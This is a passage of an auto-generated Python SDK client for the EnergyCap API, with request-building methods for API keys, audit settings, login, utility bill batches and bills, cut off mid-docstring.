url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('WebhookLogDetailsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
process_custom_app_action.metadata = {'url': '/api/v3/admin/customapplicationaction/{webhookId}'}
def create_api_key(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Create a new API key.
:param body:
:type body: ~energycap.sdk.models.ApiKeyCreateRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ApiKeyCreateResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ApiKeyCreateResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_api_key.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ApiKeyCreateRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ApiKeyCreateResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_api_key.metadata = {'url': '/api/v3/apiKey'}
def get_api_keys(
self, filter=None, custom_headers=None, raw=False, **operation_config):
"""Get a list of all available API keys.
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.ApiKeyResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_api_keys.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[ApiKeyResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_api_keys.metadata = {'url': '/api/v3/apiKey'}
def get_api_key(
self, api_key_id, custom_headers=None, raw=False, **operation_config):
"""Get an API key.
:param api_key_id:
:type api_key_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ApiKeyResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ApiKeyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_api_key.metadata['url']
path_format_arguments = {
'apiKeyId': self._serialize.url("api_key_id", api_key_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ApiKeyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_api_key.metadata = {'url': '/api/v3/apiKey/{apiKeyId}'}
def delete_api_key(
self, api_key_id, custom_headers=None, raw=False, **operation_config):
"""Delete an API key.
:param api_key_id:
:type api_key_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_api_key.metadata['url']
path_format_arguments = {
'apiKeyId': self._serialize.url("api_key_id", api_key_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_api_key.metadata = {'url': '/api/v3/apiKey/{apiKeyId}'}
def edit_api_key(
self, api_key_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit the name and description of an api key.
:param api_key_id:
:type api_key_id: int
:param body:
:type body: ~energycap.sdk.models.ApiKeyEditRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ApiKeyResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ApiKeyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_api_key.metadata['url']
path_format_arguments = {
'apiKeyId': self._serialize.url("api_key_id", api_key_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ApiKeyEditRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ApiKeyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_api_key.metadata = {'url': '/api/v3/apiKey/{apiKeyId}'}
def exec_audit_engine(
self, list_id=None, custom_headers=None, raw=False, **operation_config):
"""Run audits on a bill list.
:param list_id: The list of bills to audit
:type list_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.exec_audit_engine.metadata['url']
# Construct parameters
query_parameters = {}
if list_id is not None:
query_parameters['listId'] = self._serialize.query("list_id", list_id, 'int')
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
exec_audit_engine.metadata = {'url': '/api/v3/audit/exec'}
def get_audit_settings(
self, custom_headers=None, raw=False, **operation_config):
"""Gets all audit settings.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: AuditSettingsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.AuditSettingsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_audit_settings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('AuditSettingsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_audit_settings.metadata = {'url': '/api/v202104/audit'}
def update_audit_settings(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Update audit settings.
__Setting Status Descriptions:__
| Setting Status | Description |
| -------------- | ----------- |
| Check | If this audit fails affected bills are flagged |
| Hold | If this audit fails affected bills are flagged and
held from export |
| Skip | This audit is skipped |.
:param body: The new state of the audit settings
:type body: ~energycap.sdk.models.AuditSettingsRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: AuditSettingsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.AuditSettingsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.update_audit_settings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'AuditSettingsRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('AuditSettingsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
update_audit_settings.metadata = {'url': '/api/v202104/audit'}
def login(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""
:param body:
:type body: ~energycap.sdk.models.LoginRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: LoginResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.LoginResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.login.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'LoginRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('LoginResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
login.metadata = {'url': '/api/v3/login'}
def beta(
self, custom_headers=None, raw=False, **operation_config):
"""
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: dict or ClientRawResponse if raw=true
:rtype: dict[str, bool] or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.beta.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('{bool}', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
beta.metadata = {'url': '/api/internal/beta'}
def logout(
self, custom_headers=None, raw=False, **operation_config):
"""Logout user- if they were logged in using a cookie.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.logout.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
logout.metadata = {'url': '/api/v3/logout'}
def create_token_for_partition(
self, partition=None, custom_headers=None, raw=False, **operation_config):
"""My.EnergyCap.Com needs a way to get a token from a partition name. Pass
in a partition, create and return a token for provided partition.
:param partition:
:type partition: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SingleValue or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SingleValue or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_token_for_partition.metadata['url']
# Construct parameters
query_parameters = {}
if partition is not None:
query_parameters['partition'] = self._serialize.query("partition", partition, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SingleValue', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_token_for_partition.metadata = {'url': '/api/v3/exchange/eco'}
def open_batch(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""
:param body:
:type body: ~energycap.sdk.models.BatchCreate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BatchResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BatchResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.open_batch.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BatchCreate')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BatchResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
open_batch.metadata = {'url': '/api/v3/batch'}
def get_batches(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""
:param filter:
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.BatchResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_batches.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[BatchResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_batches.metadata = {'url': '/api/v3/batch'}
def get_batch(
self, batch_id, custom_headers=None, raw=False, **operation_config):
"""
:param batch_id:
:type batch_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BatchResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BatchResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_batch.metadata['url']
path_format_arguments = {
'batchId': self._serialize.url("batch_id", batch_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BatchResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_batch.metadata = {'url': '/api/v3/batch/{batchId}'}
def edit_batch(
self, batch_id, body=None, custom_headers=None, raw=False, **operation_config):
"""
:param batch_id:
:type batch_id: int
:param body:
:type body: ~energycap.sdk.models.BatchEdit
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BatchResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BatchResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_batch.metadata['url']
path_format_arguments = {
'batchId': self._serialize.url("batch_id", batch_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BatchEdit')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BatchResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_batch.metadata = {'url': '/api/v3/batch/{batchId}'}
def delete_batch(
self, batch_id, custom_headers=None, raw=False, **operation_config):
"""
:param batch_id:
:type batch_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_batch.metadata['url']
path_format_arguments = {
'batchId': self._serialize.url("batch_id", batch_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_batch.metadata = {'url': '/api/v3/batch/{batchId}'}
def close_batch(
self, batch_id, custom_headers=None, raw=False, **operation_config):
"""
:param batch_id:
:type batch_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BatchResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BatchResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.close_batch.metadata['url']
path_format_arguments = {
'batchId': self._serialize.url("batch_id", batch_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BatchResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
close_batch.metadata = {'url': '/api/v3/batch/close/{batchId}'}
def update_batch_status(
self, batch_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Update the status of a batch.
Requesting user must have BillAndBatches Create to update their own
batch or to open another user's pending batch.
User must have BillsAndBatches Manage to update another user's batch to
closed or pending.
If opening another user's batch, the requesting user's open batch (if
any) will be set to Pending status.
See 'Batch Statuses' section below for more information.
__Batch Statuses:__
| Batch Status | Description |
| -------------- | ----------- |
| Open | Batch must currently be pending. Un-voids all bills
in the batch. |
| Pending | Batch must currently be open. Voids all bills in the
batch. |
| Closed | Batch must currently be open or pending. If the
batch was pending, un-voids all bills in the batch. |.
:param batch_id: ID for the batch to set status
:type batch_id: int
:param body: The new status and (optional) note on the batch. See
'Batch Statuses' section below for available statuses.
:type body: ~energycap.sdk.models.UpdateBatchStatusRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.update_batch_status.metadata['url']
path_format_arguments = {
'batchId': self._serialize.url("batch_id", batch_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'UpdateBatchStatusRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
update_batch_status.metadata = {'url': '/api/v202206/batch/{batchId}/status'}
def distribute_account_charges_to_meters_for_bills_in_batch(
self, batch_id, body=None, custom_headers=None, raw=False, **operation_config):
"""For each bill in the provided batch which has account-level charges,
distribute these account charges amongst the meters on the bill.
This is done proportionally by meter use or cost, depending on the
split basis.
Maximum of 10000 bills can be processed at one time.
:param batch_id: ID for the batch containing bills for which account
charges will be distributed to meters
:type batch_id: int
:param body: Distribution information
:type body: ~energycap.sdk.models.DistributeAccountChargesBase
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.distribute_account_charges_to_meters_for_bills_in_batch.metadata['url']
path_format_arguments = {
'batchId': self._serialize.url("batch_id", batch_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'DistributeAccountChargesBase')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
distribute_account_charges_to_meters_for_bills_in_batch.metadata = {'url': '/api/v202104/batch/{batchId}/distributeAccountCharges'}
def get_bill_bodylines(
self, bill_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves one bill's bodylines.
:param bill_id: The bill identifier
:type bill_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.BodylineResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill_bodylines.metadata['url']
path_format_arguments = {
'billId': self._serialize.url("bill_id", bill_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[BodylineResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_bill_bodylines.metadata = {'url': '/api/v202208/bill/{billId}/bodyline'}
def get_bills(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves an array of bills. The array of bills can be filtered by a
number of criteria. See the filter property for more details.
:param filter:
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.BillResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bills.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[BillResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_bills.metadata = {'url': '/api/v3/bill'}
def create_bill(
self, save_as_resolved=False, comment="", body=None, custom_headers=None, raw=False, **operation_config):
"""Create a new bill.
Creates a bill.
The created bill gets audited.
If any audits fail, the bill will get flagged.
If the audit setting for any of the failed audits is set to Fail and
Hold, the bill will be set as "Hold from Accounting Export"
If saveAsResolved property is set to true, the flagged bill will be
automatically resolved and Released for Accounting Export.
:param save_as_resolved: Controls whether or not any failed audits
automatically get marked as resolved
:type save_as_resolved: bool
:param comment: Optional comment to explain why the audit is being
auto resolved
:type comment: str
:param body:
:type body: ~energycap.sdk.models.BillCreate
